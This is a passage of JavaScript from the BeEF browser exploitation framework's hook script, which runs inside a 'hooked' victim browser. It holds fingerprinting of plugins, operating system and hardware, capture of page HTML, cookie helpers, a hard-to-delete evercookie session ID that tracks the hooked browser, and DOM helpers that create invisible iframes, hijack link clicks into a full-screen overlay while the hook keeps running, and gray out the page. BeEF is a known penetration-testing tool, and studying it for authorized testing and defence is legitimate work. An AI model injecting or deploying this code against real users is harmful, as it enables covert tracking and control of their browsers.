5879 ggfactory = new GearsFactory();
5880 } else {
5881 // IE
5882 try {
5883 ggfactory = new ActiveXObject('Gears.Factory');
5884 // IE Mobile on WinCE.
5885 if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
5886 ggfactory.privateSetGlobalObject(this);
5887 }
5888 } catch (e) {
5889 // Safari
5890 if ((typeof navigator.mimeTypes != 'undefined')
5891 && navigator.mimeTypes["application/x-googlegears"]) {
5892 ggfactory = document.createElement("object");
5893 ggfactory.style.display = "none";
5894 ggfactory.width = 0;
5895 ggfactory.height = 0;
5896 ggfactory.type = "application/x-googlegears";
5897 document.documentElement.appendChild(ggfactory);
5898 if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
5899 }
5900 }
5901 }
5902 if (!ggfactory) return false; else return true;
5903 },
5904
5905 /**
5906 * Checks if the zombie has Foxit PDF reader plugin.
5907 * @return: {Boolean} true or false.
5908 *
5909 * @example: if(beef.browser.hasFoxit()) { ... }
5910 * */
5911 hasFoxit: function () {
5912
5913 var foxitplugin = false;
5914
5915 try {
5916 if (beef.browser.isIE()) {
5917 var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
5918 foxitplugin = true;
5919 } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
5920 foxitplugin = true;
5921 }
5922 } catch (e) {
5923 foxitplugin = false;
5924 }
5925
5926 return foxitplugin;
5927 },
5928
5929 /**
5930 * Returns the page head HTML
5931 **/
5932 getPageHead: function () {
5933 var html_head;
5934 try {
5935 html_head = document.head.innerHTML.toString();
5936 } catch (e) {
5937 }
5938 return html_head;
5939 },
5940
5941 /**
5942 * Returns the page body HTML
5943 **/
5944 getPageBody: function () {
5945 var html_body;
5946 try {
5947 html_body = document.body.innerHTML.toString();
5948 } catch (e) {
5949 }
5950 return html_body;
5951 },
5952
5953 /**
5954 * Dynamically changes the favicon: works in Firefox, Chrome and Opera
5955 **/
5956 changeFavicon: function (favicon_url) {
5957 var iframe = null;
5958 if (this.isC()) {
5959 iframe = document.createElement('iframe');
5960 iframe.src = 'about:blank';
5961 iframe.style.display = 'none';
5962 document.body.appendChild(iframe);
5963 }
5964 var link = document.createElement('link'),
5965 oldLink = document.getElementById('dynamic-favicon');
5966 link.id = 'dynamic-favicon';
5967 link.rel = 'shortcut icon';
5968 link.href = favicon_url;
5969 if (oldLink) document.head.removeChild(oldLink);
5970 document.head.appendChild(link);
5971 if (this.isC()) iframe.src += '';
5972 },
5973
5974 /**
5975 * Changes page title
5976 **/
5977 changePageTitle: function (title) {
5978 document.title = title;
5979 },
5980
5981 /**
5982 * Get the browser language
5983 */
5984 getBrowserLanguage: function () {
5985 var l = 'Unknown';
5986 try {
5987 l = window.navigator.userLanguage || window.navigator.language;
5988 } catch (e) {
5989 }
5990 return l;
5991 },
5992
5993 /**
5994 * A function that gets the max number of simultaneous connections the
5995 * browser can make per origin, or globally on all origin.
5996 *
5997 * This code is based on research from browserspy.dk
5998 *
5999 * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
6000 * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
6001 * the number of connections to the callback function as "this"
6002 *
6003 * example usage:
6004 * $j.when(getMaxConnections()).done(function(){
6005 * console.debug("Max Connections: " + this);
6006 * });
6007 *
6008 */
6009 getMaxConnections: function (scope) {
6010
6011 var imagesCount = 30; // Max number of images to test
6012 var secondsTimeout = 5; // Image load timeout threashold
6013 var testUrl = ""; // The image testing service URL
6014
6015 // User broserspy.dk max connections service URL.
6016 if (scope == 'PER_DOMAIN')
6017 testUrl = "http://browserspy.dk/connections.php?img=1&random=";
6018 else
6019 // The token will be replaced by a different number with each request (different origin).
6020 testUrl = "http://<token>.browserspy.dk/connections.php?img=1&random=";
6021
6022 var imagesLoaded = 0; // Number of responding images before timeout.
6023 var imagesRequested = 0; // Number of requested images.
6024 var testImages = new Array(); // Array of all images.
6025 var deferredObject = $j.Deferred(); // A jquery Deferred object.
6026
6027 for (var i = 1; i <= imagesCount; i++) {
6028 // Asynchronously request image.
6029 testImages[i] =
6030 $j.ajax({
6031 type: "get",
6032 dataType: true,
6033 url: (testUrl.replace("<token>", i)) + Math.random(),
6034 data: "",
6035 timeout: (secondsTimeout * 1000),
6036
6037 // Function on completion of request.
6038 complete: function (jqXHR, textStatus) {
6039
6040 imagesRequested++;
6041
6042 // If the image returns a 200 or a 302, the text Status is "error", else null
6043 if (textStatus == "error") {
6044 imagesLoaded++;
6045 }
6046
6047 // If all images requested
6048 if (imagesRequested >= imagesCount) {
6049 // resolve the deferred object passing the number of loaded images.
6050 deferredObject.resolveWith(imagesLoaded);
6051 }
6052 }
6053 });
6054
6055 }
6056
6057 // Return a promise to resolve the deffered object when the images are loaded.
6058 return deferredObject.promise();
6059
6060 }
6061
6062};
6063
6064beef.regCmp('beef.browser');
6065
6066
6067//
6068// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6069// Browser Exploitation Framework (BeEF) - http://beefproject.com
6070// See the file 'doc/COPYING' for copying permission
6071//
6072
6073/*!
6074 * @literal object: beef.browser.cookie
6075 *
6076 * Provides fuctions for working with cookies.
6077 * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
6078 * Original author unknown.
6079 *
6080 */
6081beef.browser.cookie = {
6082
6083 setCookie: function (name, value, expires, path, domain, secure)
6084 {
6085
6086 var today = new Date();
6087 today.setTime( today.getTime() );
6088
6089 if ( expires )
6090 {
6091 expires = expires * 1000 * 60 * 60 * 24;
6092 }
6093 var expires_date = new Date( today.getTime() + (expires) );
6094
6095 document.cookie = name + "=" +escape( value ) +
6096 ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
6097 ( ( path ) ? ";path=" + path : "" ) +
6098 ( ( domain ) ? ";domain=" + domain : "" ) +
6099 ( ( secure ) ? ";secure" : "" );
6100 },
6101
6102 getCookie: function(name)
6103 {
6104 var a_all_cookies = document.cookie.split( ';' );
6105 var a_temp_cookie = '';
6106 var cookie_name = '';
6107 var cookie_value = '';
6108 var b_cookie_found = false;
6109
6110 for ( i = 0; i < a_all_cookies.length; i++ )
6111 {
6112 a_temp_cookie = a_all_cookies[i].split( '=' );
6113 cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
6114 if ( cookie_name == name )
6115 {
6116 b_cookie_found = true;
6117 if ( a_temp_cookie.length > 1 )
6118 {
6119 cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
6120 }
6121 return cookie_value;
6122 break;
6123 }
6124 a_temp_cookie = null;
6125 cookie_name = '';
6126 }
6127 if ( !b_cookie_found )
6128 {
6129 return null;
6130 }
6131 },
6132
6133 deleteCookie: function (name, path, domain)
6134 {
6135 if ( this.getCookie(name) ) document.cookie = name + "=" +
6136 ( ( path ) ? ";path=" + path : "") +
6137 ( ( domain ) ? ";domain=" + domain : "" ) +
6138 ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
6139 },
6140
6141 /* Never stop the madness dear C. */
6142 veganLol: function (){
6143 var to_hell= '';
6144 var min = 17;
6145 var max = 25;
6146 var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
6147
6148 var grunt = function(){
6149 var moo = Math.floor(Math.random() * 62);
6150 var char = '';
6151 if(moo < 36){
6152 char = String.fromCharCode(moo + 55);
6153 }else{
6154 char = String.fromCharCode(moo + 61);
6155 }
6156 if(char != ';' && char != '='){
6157 return char;
6158 }else{
6159 return 'x';
6160 }
6161 };
6162
6163 while(to_hell.length < lol_length){
6164 to_hell += grunt();
6165 }
6166 return to_hell;
6167 },
6168
6169 hasSessionCookies: function (name){
6170 this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
6171
6172 cookiesEnabled = (this.getCookie(name) == null)? false:true;
6173 this.deleteCookie(name, '/', '');
6174 return cookiesEnabled;
6175
6176 },
6177
6178 hasPersistentCookies: function (name){
6179 this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
6180
6181 cookiesEnabled = (this.getCookie(name) == null)? false:true;
6182 this.deleteCookie(name, '/', '');
6183 return cookiesEnabled;
6184
6185 }
6186
6187};
6188
6189beef.regCmp('beef.browser.cookie');
6190
6191//
6192// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6193// Browser Exploitation Framework (BeEF) - http://beefproject.com
6194// See the file 'doc/COPYING' for copying permission
6195//
6196
6197/*!
6198 * @literal object: beef.browser.popup
6199 *
6200 * Provides fuctions for working with cookies.
6201 * Several functions adopted from http://davidwalsh.name/popup-block-javascript
6202 * Original author unknown.
6203 *
6204 */
6205beef.browser.popup = {
6206
6207 blocker_enabled: function ()
6208 {
6209 screenParams = beef.browser.getScreenSize();
6210 var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
6211 if (popUp == null || typeof(popUp)=='undefined') {
6212 return true;
6213 } else {
6214 popUp.close();
6215 return false;
6216 }
6217 }
6218};
6219
6220beef.regCmp('beef.browser.popup');
6221
6222
6223//
6224// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6225// Browser Exploitation Framework (BeEF) - http://beefproject.com
6226// See the file 'doc/COPYING' for copying permission
6227//
6228
6229/*!
6230 * @literal object: beef.session
6231 *
6232 * Provides basic session functions.
6233 */
6234beef.session = {
6235
6236 hook_session_id_length: 80,
6237 hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
6238 ec: new evercookie(),
6239 beefhook: "BEEFHOOK",
6240
6241 /**
6242 * Gets a string which will be used to identify the hooked browser session
6243 *
6244 * @example: var hook_session_id = beef.session.get_hook_session_id();
6245 */
6246 get_hook_session_id: function() {
6247 // check if the browser is already known to the framework
6248 var id = this.ec.evercookie_cookie(beef.session.beefhook);
6249 if (typeof id == 'undefined') {
6250 var id = this.ec.evercookie_userdata(beef.session.beefhook);
6251 }
6252 if (typeof id == 'undefined') {
6253 var id = this.ec.evercookie_window(beef.session.beefhook);
6254 }
6255
6256 // if the browser is not known create a hook session id and set it
6257 if ((typeof id == 'undefined') || (id == null)) {
6258 id = this.gen_hook_session_id();
6259 this.set_hook_session_id(id);
6260 }
6261
6262 // return the hooked browser session identifier
6263 return id;
6264 },
6265
6266 /**
6267 * Sets a string which will be used to identify the hooked browser session
6268 *
6269 * @example: beef.session.set_hook_session_id('RANDOMSTRING');
6270 */
6271 set_hook_session_id: function(id) {
6272 // persist the hook session id
6273 this.ec.evercookie_cookie(beef.session.beefhook, id);
6274 this.ec.evercookie_userdata(beef.session.beefhook, id);
6275 this.ec.evercookie_window(beef.session.beefhook, id);
6276 },
6277
6278 /**
6279 * Generates a random string using the chars in hook_session_id_chars.
6280 *
6281 * @example: beef.session.gen_hook_session_id();
6282 */
6283 gen_hook_session_id: function() {
6284 // init the return value
6285 var hook_session_id = "";
6286
6287 // construct the random string
6288 for(var i=0; i<this.hook_session_id_length; i++) {
6289 var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
6290 hook_session_id += this.hook_session_id_chars.charAt(rand_num);
6291 }
6292
6293 return hook_session_id;
6294 }
6295};
6296
6297beef.regCmp('beef.session');
6298
6299
6300//
6301// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6302// Browser Exploitation Framework (BeEF) - http://beefproject.com
6303// See the file 'doc/COPYING' for copying permission
6304//
6305
6306beef.os = {
6307
6308 ua: navigator.userAgent,
6309
6310 /**
6311 * Detect default browser (IE only)
6312 * Written by unsticky
6313 * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
6314 */
6315 getDefaultBrowser: function() {
6316 var result = "Unknown"
6317 try {
6318 var mt = document.mimeType;
6319 if (mt) {
6320 if (mt == "Safari Document") result = "Safari";
6321 if (mt == "Firefox HTML Document") result = "Firefox";
6322 if (mt == "Chrome HTML Document") result = "Chrome";
6323 if (mt == "HTML Document") result = "Internet Explorer";
6324 if (mt == "Opera Web Document") result = "Opera";
6325 }
6326 } catch (e) {
6327 beef.debug("[os] getDefaultBrowser: "+e.message);
6328 }
6329 return result;
6330 },
6331
6332 // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
6333 isWin311: function() {
6334 return (this.ua.match('(Win16)')) ? true : false;
6335 },
6336
6337 isWinNT4: function() {
6338 return (this.ua.match('(Windows NT 4.0)')) ? true : false;
6339 },
6340
6341 isWin95: function() {
6342 return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
6343 },
6344 isWinCE: function() {
6345 return (this.ua.match('(Windows CE)')) ? true : false;
6346 },
6347
6348 isWin98: function() {
6349 return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
6350 },
6351
6352 isWinME: function() {
6353 return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
6354 },
6355
6356 isWin2000: function() {
6357 return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
6358 },
6359
6360 isWin2000SP1: function() {
6361 return (this.ua.match('Windows NT 5.01 ')) ? true : false;
6362 },
6363
6364 isWinXP: function() {
6365 return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
6366 },
6367
6368 isWinServer2003: function() {
6369 return (this.ua.match('(Windows NT 5.2)')) ? true : false;
6370 },
6371
6372 isWinVista: function() {
6373 return (this.ua.match('(Windows NT 6.0)')) ? true : false;
6374 },
6375
6376 isWin7: function() {
6377 return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
6378 },
6379
6380 isWin8: function() {
6381 return (this.ua.match('(Windows NT 6.2)')) ? true : false;
6382 },
6383
6384 isWin81: function() {
6385 return (this.ua.match('(Windows NT 6.3)')) ? true : false;
6386 },
6387
6388 isWin10: function() {
6389 return (this.ua.match('Windows NT 10.0')) ? true : false;
6390 },
6391
6392 isOpenBSD: function() {
6393 return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
6394 },
6395
6396 isSunOS: function() {
6397 return (this.ua.indexOf('SunOS') != -1) ? true : false;
6398 },
6399
6400 isLinux: function() {
6401 return (this.ua.match('(Linux)|(X11)')) ? true : false;
6402 },
6403
6404 isMacintosh: function() {
6405 return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
6406 },
6407
6408 isOsxYosemite: function(){ // TODO
6409 return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
6410 },
6411 isOsxMavericks: function(){ // TODO
6412 return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
6413 },
6414 isOsxSnowLeopard: function(){ // TODO
6415 return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
6416 },
6417 isOsxLeopard: function(){ // TODO
6418 return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
6419 },
6420
6421 isWinPhone: function() {
6422 return (this.ua.match('(Windows Phone)')) ? true : false;
6423 },
6424
6425 isIphone: function() {
6426 return (this.ua.indexOf('iPhone') != -1) ? true : false;
6427 },
6428
6429 isIpad: function() {
6430 return (this.ua.indexOf('iPad') != -1) ? true : false;
6431 },
6432
6433 isIpod: function() {
6434 return (this.ua.indexOf('iPod') != -1) ? true : false;
6435 },
6436
6437 isNokia: function() {
6438 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
6439 },
6440
6441 isAndroid: function() {
6442 return (this.ua.match('Android')) ? true : false;
6443 },
6444
6445 isBlackBerry: function() {
6446 return (this.ua.match('BlackBerry')) ? true : false;
6447 },
6448
6449 isWebOS: function() {
6450 return (this.ua.match('webOS')) ? true : false;
6451 },
6452
6453 isQNX: function() {
6454 return (this.ua.match('QNX')) ? true : false;
6455 },
6456
6457 isBeOS: function() {
6458 return (this.ua.match('BeOS')) ? true : false;
6459 },
6460
6461 isAros: function() {
6462 return (this.ua.match('AROS')) ? true : false;
6463 },
6464
6465 isWindows: function() {
6466 return (this.ua.match('Windows')) ? true : false;
6467 },
6468
6469 getName: function() {
6470
6471 if(this.isWindows()){
6472 return 'Windows';
6473 }
6474
6475 if(this.isMacintosh()) {
6476 return 'OSX';
6477 }
6478
6479 //Nokia
6480 if(this.isNokia()) {
6481 if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
6482 if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
6483 if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
6484 }
6485
6486 // BlackBerry
6487 if(this.isBlackBerry()) return 'BlackBerry OS';
6488
6489 // Android
6490 if(this.isAndroid()) return 'Android';
6491
6492 // SunOS
6493 if(this.isSunOS()) return 'SunOS';
6494
6495 //Linux
6496 if(this.isLinux()) return 'Linux';
6497
6498 //iPhone
6499 if (this.isIphone()) return 'iOS';
6500 //iPad
6501 if (this.isIpad()) return 'iOS';
6502 //iPod
6503 if (this.isIpod()) return 'iOS';
6504
6505 //others
6506 if(this.isQNX()) return 'QNX';
6507 if(this.isBeOS()) return 'BeOS';
6508 if(this.isWebOS()) return 'webOS';
6509 if(this.isAros()) return 'AROS';
6510
6511 return 'unknown';
6512 },
6513
6514 getVersion: function(){
6515 //Windows
6516 if(this.isWindows()) {
6517 if (this.isWin10()) return '10';
6518 if (this.isWin81()) return '8.1';
6519 if (this.isWin8()) return '8';
6520 if (this.isWin7()) return '7';
6521 if (this.isWinVista()) return 'Vista';
6522 if (this.isWinXP()) return 'XP';
6523 if (this.isWinServer2003()) return 'Server 2003';
6524 if (this.isWin2000SP1()) return '2000 SP1';
6525 if (this.isWin2000()) return '2000';
6526 if (this.isWinME()) return 'Millenium';
6527
6528 if (this.isWinNT4()) return 'NT 4';
6529 if (this.isWinCE()) return 'CE';
6530 if (this.isWin95()) return '95';
6531 if (this.isWin98()) return '98';
6532 }
6533
6534 // OS X
6535 if(this.isMacintosh()) {
6536 if (this.isOsxYosemite()) return '10.10';
6537 if (this.isOsxMavericks()) return '10.9';
6538 if (this.isOsxSnowLeopard()) return '10.8';
6539 if (this.isOsxLeopard()) return '10.7';
6540 }
6541
6542 // TODO add Android/iOS version detection
6543 }
6544};
6545
6546beef.regCmp('beef.net.os');
6547
6548
6549//
6550// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6551// Browser Exploitation Framework (BeEF) - http://beefproject.com
6552// See the file 'doc/COPYING' for copying permission
6553//
6554
6555beef.hardware = {
6556
6557 ua: navigator.userAgent,
6558
6559 /*
6560 * @return: {String} CPU type
6561 **/
6562 cpuType: function() {
6563 var arch = 'UNKNOWN';
6564 // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
6565 // in detecting the OS arch rather than the browser build
6566 if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
6567 arch = 'x86_64';
6568 }else if(typeof navigator.cpuClass != 'undefined'){
6569 switch (navigator.cpuClass) {
6570 case '68K':
6571 arch = 'Motorola 68K';
6572 break;
6573 case 'PPC':
6574 arch = 'Motorola PPC';
6575 break;
6576 case 'Digital':
6577 arch = 'Alpha';
6578 break;
6579 default:
6580 arch = 'x86';
6581 }
6582 }
6583 // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
6584 // For example, if OSX is at least 10.7, most certainly is 64 bit.
6585 return arch;
6586 },
6587
6588 /*
6589 * @return: {Boolean} true or false.
6590 **/
6591 isTouchEnabled: function() {
6592 if ('ontouchstart' in document) return true;
6593 return false;
6594 },
6595
6596 /*
6597 * @return: {Boolean} true or false.
6598 **/
6599 isVirtualMachine: function() {
6600 if (screen.width % 2 || screen.height % 2) return true;
6601 return false;
6602 },
6603
6604 /*
6605 * @return: {Boolean} true or false.
6606 **/
6607 isLaptop: function() {
6608 // Most common laptop screen resolution
6609 if (screen.width == 1366 && screen.height == 768) return true;
6610 // Netbooks
6611 if (screen.width == 1024 && screen.height == 600) return true;
6612 return false;
6613 },
6614
6615 /*
6616 * @return: {Boolean} true or false.
6617 **/
6618 isNokia: function() {
6619 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
6620 },
6621
6622 /*
6623 * @return: {Boolean} true or false.
6624 **/
6625 isZune: function() {
6626 return (this.ua.match('ZuneWP7')) ? true : false;
6627 },
6628
6629 /*
6630 * @return: {Boolean} true or false.
6631 **/
6632 isHtc: function() {
6633 return (this.ua.match('HTC')) ? true : false;
6634 },
6635
6636 /*
6637 * @return: {Boolean} true or false.
6638 **/
6639 isEricsson: function() {
6640 return (this.ua.match('Ericsson')) ? true : false;
6641 },
6642
6643 /*
6644 * @return: {Boolean} true or false.
6645 **/
6646 isMotorola: function() {
6647 return (this.ua.match('Motorola')) ? true : false;
6648 },
6649
6650 /*
6651 * @return: {Boolean} true or false.
6652 **/
6653 isGoogle: function() {
6654 return (this.ua.match('Nexus One')) ? true : false;
6655 },
6656
6657 /**
6658 * Returns true if the browser is on a Mobile Phone
6659 * @return: {Boolean} true or false
6660 *
6661 * @example: if(beef.hardware.isMobilePhone()) { ... }
6662 **/
6663 isMobilePhone: function() {
6664 return DetectMobileQuick();
6665 },
6666
6667 getName: function() {
6668 var ua = navigator.userAgent.toLowerCase();
6669 if(DetectIphone()) { return "iPhone"};
6670 if(DetectIpod()) { return "iPod Touch"};
6671 if(DetectIpad()) { return "iPad"};
6672 if (this.isHtc()) { return 'HTC'};
6673 if (this.isMotorola()) { return 'Motorola'};
6674 if (this.isZune()) { return 'Zune'};
6675 if (this.isGoogle()) { return 'Google Nexus One'};
6676 if (this.isEricsson()) { return 'Ericsson'};
6677 if(DetectAndroidPhone()) { return "Android Phone"};
6678 if(DetectAndroidTablet()) { return "Android Tablet"};
6679 if(DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
6680 if(ua.search(deviceS60) > -1) { return "Nokia S60"};
6681 if(ua.search(deviceS70) > -1) { return "Nokia S70"};
6682 if(ua.search(deviceS80) > -1) { return "Nokia S80"};
6683 if(ua.search(deviceS90) > -1) { return "Nokia S90"};
6684 if(ua.search(deviceSymbian) > -1) { return "Nokia Symbian"};
6685 if (this.isNokia()) { return 'Nokia'};
6686 if(DetectWindowsPhone7()) { return "Windows Phone 7"};
6687 if(DetectWindowsMobile()) { return "Windows Mobile"};
6688 if(DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
6689 if(DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
6690 if(DetectBlackBerryTouch()) { return "BlackBerry Touch"};
6691 if(DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
6692 if(DetectBlackBerry()) { return "BlackBerry"};
6693 if(DetectPalmOS()) { return "Palm OS"};
6694 if(DetectPalmWebOS()) { return "Palm Web OS"};
6695 if(DetectGarminNuvifone()) { return "Gamin Nuvifone"};
6696 if(DetectArchos()) { return "Archos"}
6697 if(DetectBrewDevice()) { return "Brew"};
6698 if(DetectDangerHiptop()) { return "Danger Hiptop"};
6699 if(DetectMaemoTablet()) { return "Maemo Tablet"};
6700 if(DetectSonyMylo()) { return "Sony Mylo"};
6701 if(DetectAmazonSilk()) { return "Kindle Fire"};
6702 if(DetectKindle()) { return "Kindle"};
6703 if(DetectSonyPlaystation()) { return "Playstation"};
6704 if(ua.search(deviceNintendoDs) > -1) { return "Nintendo DS"};
6705 if(ua.search(deviceWii) > -1) { return "Nintendo Wii"};
6706 if(ua.search(deviceNintendo) > -1) { return "Nintendo"};
6707 if(DetectXbox()) { return "Xbox"};
6708 if(this.isLaptop()) { return "Laptop"};
6709 if(this.isVirtualMachine()) { return "Virtual Machine"};
6710
6711 return 'Unknown';
6712 }
6713};
6714
6715beef.regCmp('beef.hardware');
6716
6717
6718//
6719// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
6720// Browser Exploitation Framework (BeEF) - http://beefproject.com
6721// See the file 'doc/COPYING' for copying permission
6722//
6723
6724/*!
6725 * @literal object: beef.dom
6726 *
6727 * Provides functionality to manipulate the DOM.
6728 */
6729beef.dom = {
6730
6731 /**
6732 * Generates a random ID for HTML elements
6733 * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
6734 * @return: generated id
6735 */
6736 generateID: function(prefix) {
6737 return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
6738 },
6739
6740 /**
6741 * Creates a new element but does not append it to the DOM.
6742 * @param: {String} the name of the element.
6743 * @param: {Literal Object} the attributes of that element.
6744 * @return: the created element.
6745 */
6746 createElement: function(type, attributes) {
6747 var el = document.createElement(type);
6748
6749 for(index in attributes) {
6750 if(typeof attributes[index] == 'string') {
6751 el.setAttribute(index, attributes[index]);
6752 }
6753 }
6754
6755 return el;
6756 },
6757
6758 /**
6759 * Removes element from the DOM.
6760 * @param: {String or DOM Object} the target element to be removed.
6761 */
6762 removeElement: function(el) {
6763 if (!beef.dom.isDOMElement(el))
6764 {
6765 el = document.getElementById(el);
6766 }
6767 try {
6768 el.parentNode.removeChild(el);
6769 } catch (e) { }
6770 },
6771
6772 /**
6773 * Tests if the object is a DOM element.
6774 * @param: {Object} the DOM element.
6775 * @return: true if the object is a DOM element.
6776 */
6777 isDOMElement: function(obj) {
6778 return (obj.nodeType) ? true : false;
6779 },
6780
6781 /**
6782 * Creates an invisible iframe on the hook browser's page.
6783 * @return: the iframe.
6784 */
6785 createInvisibleIframe: function() {
6786 var iframe = this.createElement('iframe', {
6787 width: '1px',
6788 height: '1px',
6789 style: 'visibility:hidden;'
6790 });
6791
6792 document.body.appendChild(iframe);
6793
6794 return iframe;
6795 },
6796
6797 /**
6798 * Returns the highest current z-index
6799 * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
6800 * @return: {Integer} Highest z-index in the DOM
6801 * OR
6802 * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
6803 */
6804 getHighestZindex: function(include_id) {
6805 var highest = {'height':0, 'elem':''};
6806 $j('*').each(function() {
6807 var current_high = parseInt($j(this).css("zIndex"),10);
6808 if (current_high > highest.height) {
6809 highest.height = current_high;
6810 highest.elem = $j(this).attr('id');
6811 }
6812 });
6813
6814 if (include_id) {
6815 return highest;
6816 } else {
6817 return highest.height;
6818 }
6819 },
6820
6821 /**
6822 * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
6823 * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
6824 * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
6825 * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
6826 * @param: {Hash} params: list of params that will be sent in request.
6827 * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
6828 * @param: {Function} a callback function to fire once the iFrame has loaded
6829 * @return: {Object} the inserted iFrame
6830 *
6831 */
6832 createIframe: function(type, params, styles, onload) {
6833 var css = {};
6834
6835 if (type == 'hidden') {
6836 css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
6837 } else if (type == 'fullscreen') {
6838 css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
6839 $j('body').css({'padding':'0px', 'margin':'0px'});
6840 } else {
6841 css = styles;
6842 $j('body').css({'padding':'0px', 'margin':'0px'});
6843 }
6844 var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
6845
6846 return iframe;
6847 },
6848
6849 /**
6850 * Load the link (href value) in an overlay foreground iFrame.
6851 * The BeEF hook continues to run in background.
6852 * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
6853 * Framebusting techniques, this will not work.
6854 */
6855 persistentIframe: function(){
6856 $j('a').click(function(e) {
6857 if ($j(this).attr('href') != '')
6858 {
6859 e.preventDefault();
6860 beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
6861 $j(document).attr('title', $j(this).html());
6862 document.body.scroll = "no";
6863 document.documentElement.style.overflow = 'hidden';
6864 }
6865 });
6866 },
6867
6868 /**
6869 * Load a full screen div that is black, or, transparent
6870 * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
6871 * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
6872 * opacity:0-100 // Lower number = less grayout higher = more of a blackout
6873 * // By default this is 70
6874 * zindex: # // HTML elements with a higher zindex appear on top of the gray out
6875 * // By default this will use beef.dom.getHighestZindex to always go to the top
6876 * bgcolor: (#xxxxxx) // Standard RGB Hex color code
6877 * // By default this is #000000
6878 */
6879 grayOut: function(vis, options) {
6880 // in any order. Pass only the properties you need to set.
6881 var options = options || {};
6882 var zindex = options.zindex || beef.dom.getHighestZindex()+1;
6883 var opacity = options.opacity || 70;
6884 var opaque = (opacity / 100);
6885 var bgcolor = options.bgcolor || '#000000';
6886 var dark=document.getElementById('darkenScreenObject');
6887 if (!dark) {
6888 // The dark layer doesn't exist, it's never been created. So we'll
6889 // create it here and apply some basic styles.
6890 // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
6891 var tbody = document.getElementsByTagName("body")[0];
6892 var tnode = document.createElement('div'); // Create the layer.
6893 tnode.style.position='absolute'; // Position absolutely
6894 tnode.style.top='0px'; // In the top
6895 tnode.style.left='0px'; // Left corner of the page
6896 tnode.style.overflow='hidden'; // Try to avoid making scroll bars
6897 tnode.style.display='none'; // Start out Hidden
6898 tnode.id='darkenScreenObject'; // Name it so we can find it later
6899 tbody.appendChild(tnode); // Add it to the web page
6900 dark=document.getElementById('darkenScreenObject'); // Get the object.
6901 }
6902 if (vis) {
6903 // Calculate the page width and height
6904 if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
